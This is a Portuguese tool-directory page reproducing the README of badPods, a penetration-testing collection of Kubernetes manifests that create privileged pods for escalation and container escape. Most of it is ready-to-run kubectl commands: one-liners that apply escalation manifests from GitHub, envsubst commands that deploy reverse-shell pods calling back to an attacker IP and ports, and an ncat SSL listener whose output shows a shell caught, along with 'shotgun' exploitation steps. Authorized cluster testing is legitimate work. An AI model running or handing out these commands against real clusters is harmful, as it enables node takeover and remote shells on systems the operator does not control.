Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
badPods — Uma coleção de manifests que criará pods com privilégios elevados. | Kitploit
Ferramentas/GitHubGitHub/bishopfox/badpods
Escalada de PrivilégiosSegurança de ContêineresExploraçãoTestes de PenetraçãoSegurança na NuvemConfiguração IncorretaEscape de ContêinerTop em Escape de Contêiner nº6
GitHubbishopfox/badpods

badPods

7061188há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Uma coleção de manifests que criará pods com privilégios elevados.

Ver RepositórioSite

Bad Pods

Uma coleção de manifestos que criam pods com diferentes privilégios elevados. Demonstre rapidamente o impacto de permitir atributos de pods sensíveis à segurança, como hostNetwork, hostPID, hostPath, hostIPC e privileged.

Para obter mais contexto, veja nosso post no blog: Bad Pods: Kubernetes Pod Privilege Escalation.

Conteúdo

  • A formação dos Bad Pods
  • Pré-requisitos
  • Organização
  • Uso
    • Abordagem de alto nível
    • Exemplos de uso
      • Criar todos os oito Bad Pods a partir do repositório local clonado
      • Criar todos os oito Bad Pods a partir do Github
      • Criar todos os oito Bad Pods com reverse shell
      • Criar todos os oito tipos de recursos usando o pod everything-allowed
      • Criar um cronjob com o pod hostNetwork
      • Criar um deployment com o pod priv-and-hostpid
      • Criar um reverse shell usando o pod privilegiado
  • Agradecimentos
  • Referências e leituras complementares

A formação dos Bad Pods

Cada link abaixo fornece informações detalhadas de uso e recomendações de pós-exploração.

  • Bad Pod #1: Tudo permitido
  • Bad Pod #2: Privilegiado e hostPid
  • Bad Pod #3: Somente privilegiado
  • Bad Pod #4: Somente hostPath
  • Bad Pod #5: Somente hostPid
  • Bad Pod #6: Somente hostNetwork
  • Bad Pod #7: Somente hostIPC
  • Bad Pod #8: Nada permitido

Para informações mais gerais sobre pré-requisitos, organização do repositório e padrões comuns de uso, veja as seções abaixo.

Pré-requisitos

  1. Acesso a um cluster
  2. Permissão RBAC para criar um dos seguintes tipos de recurso em pelo menos um namespace:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. Permissão RBAC para fazer exec em pods ou uma política de rede que permita um reverse shell a partir de um pod até você.
  4. Nenhuma política de segurança de pod em vigor, ou uma política que permita criar pods com um ou mais atributos sensíveis à segurança

Organização

  • 128 manifestos autocontidos e prontos para uso. Por que tantos?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, etc.)
    • 8 tipos de recursos que podem criar pods (pod, deployment, replicaset, statefulset, etc.)
    • 2 formas de acessar os pods criados (exec & reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Existem oito maneiras de criar um pod

Como Eviatar Gerzi (@g3rzi) aponta no post Eight Ways to Create a Pod, existem 8 controladores diferentes que podem criar um pod, ou um conjunto de pods. Você pode não estar autorizado a criar pods, mas talvez possa criar outro tipo de recurso que criará um ou mais pods. Para cada tipo de badPod, existem manifestos que correspondem a todos os oito tipos de recursos.

Mas espere, fica pior! Além dos oito controladores Kubernetes atuais que podem criar pods, existem controladores de terceiros que também podem criar pods se forem aplicados ao cluster. Fique de olho neles consultando kubectl api-resources.

Reverse shells

Embora seja comum, nem sempre é possível fazer exec nos pods que você pode criar. Para ajudar nessas situações, uma versão de cada manifesto é incluída usando a imagem ncat do dockerhub de Rory McCune's (@raesene). Quando criado, o pod fará uma chamada criptografada de volta para o seu listener.

Uso

Cada recurso no diretório manifests tem como alvo um atributo específico ou uma combinação de atributos que expõem o cluster a risco quando permitidos.

Abordagem de alto nível

Opção 1: Abordagem metódica

  1. Avalie o RBAC - Determine quais tipos de recurso você pode criar
  2. Avalie a política de admissão - Determine quais dos Bad Pods você conseguirá criar
  3. Crie os recursos - Com base no que é permitido, use o tipo de badPod e o tipo de recurso específicos e crie seus recursos
  4. Pós-exploração - Avalie as etapas de pós-exploração descritas no README para aquele tipo
    • Tudo permitido
    • Privilegiado e hostPid
    • Somente privilegiado
    • Somente hostPath
    • Somente hostPid
    • Somente hostNetwork
    • Somente hostIPC
    • Nada permitido

Opção 2: Abordagem shotgun

  1. Crie os recursos - Basta começar a aplicar diferentes manifestos e ver o que funciona
    • Criar todos os oito Bad Pods a partir do Github
    • Criar todos os oito tipos de recursos usando o pod everything-allowed
  2. Pós-exploração - Para qualquer pod criado, avalie as etapas de pós-exploração descritas no README para aquele tipo
    • Tudo permitido
    • Privilegiado e hostPid
    • Somente privilegiado
    • Somente hostPath
    • Somente hostPid
    • Somente hostNetwork
    • Somente hostIPC
    • Nada permitido

Exemplos de uso

  • Criar todos os oito Bad Pods a partir do repositório local clonado
  • Criar todos os oito Bad Pods a partir do Github
  • Criar todos os oito Bad Pods com reverse shell
  • Criar todos os oito tipos de recursos usando o pod everything-allowed
  • Criar um cronjob com o pod hostNetwork
  • Criar um deployment com o pod priv-and-hostpid
  • Criar um reverse shell usando o pod privilegiado

Criar todos os oito Bad Pods a partir do repositório local clonado

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Criar todos os oito Bad Pods a partir do Github

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Criar todos os oito badPods com reverse shell

Para evitar ter que editar cada pod com seu host e porta, você pode usar variáveis de ambiente e o comando envsubst. Lembre-se de iniciar todos os seus listeners primeiro!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Criar um cronjob com o pod hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Encontre o pod criado

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Acesse o pod com exec

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Criar um deployment com o pod priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Encontre o pod criado

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Acesse o pod com exec

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Criar todos os oito tipos de recursos usando o pod everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Exiba todos os pods criados

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Apague todos os recursos everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Criar um reverse shell usando o pod privilegiado

Configure o listener

root@kitploit:~
ncat --ssl -vlp 3116

Crie o pod a partir do yaml local sem modificá-lo, usando variáveis de ambiente e envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Capture o shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Contribuição

Pull requests e issues são bem-vindos.

Agradecimentos

Obrigado Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi e Madhu Akula por compartilharem publicamente tanto conhecimento sobre segurança ofensiva em Kubernetes.

Referências e leituras complementares

Cada Bad Pod tem sua própria seção de referências e leituras complementares, mas aqui estão alguns recursos mais gerais que ajudarão você a elevar o nível das suas avaliações de segurança e testes de penetração em Kubernetes.

Novidades de 2020

  • Container Security Site por @raesene
  • CloudSecDocs - Container Security por @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters por @antitree
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions por @g3rzi - Palestra / Slides
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters por @antitree - Palestra / Blog
  • Kubernetes Goat por @madhuakula - Repositório / Guia

Os clássicos, lá de 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF por @tabbysable, @petermbenjamin, @jimmesta e @BradGeesaman
  • The Most Pointless Kubernetes Command Ever por @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults por @IanColdwater e @mauilion - Palestra / Repositório
  • Understanding Docker container escapes por @disconnect3d_pl
  • A Compendium of Container Escapes por @drraid e @0x7674
  • Attacking Kubernetes through Kubelet
Baixar ferramenta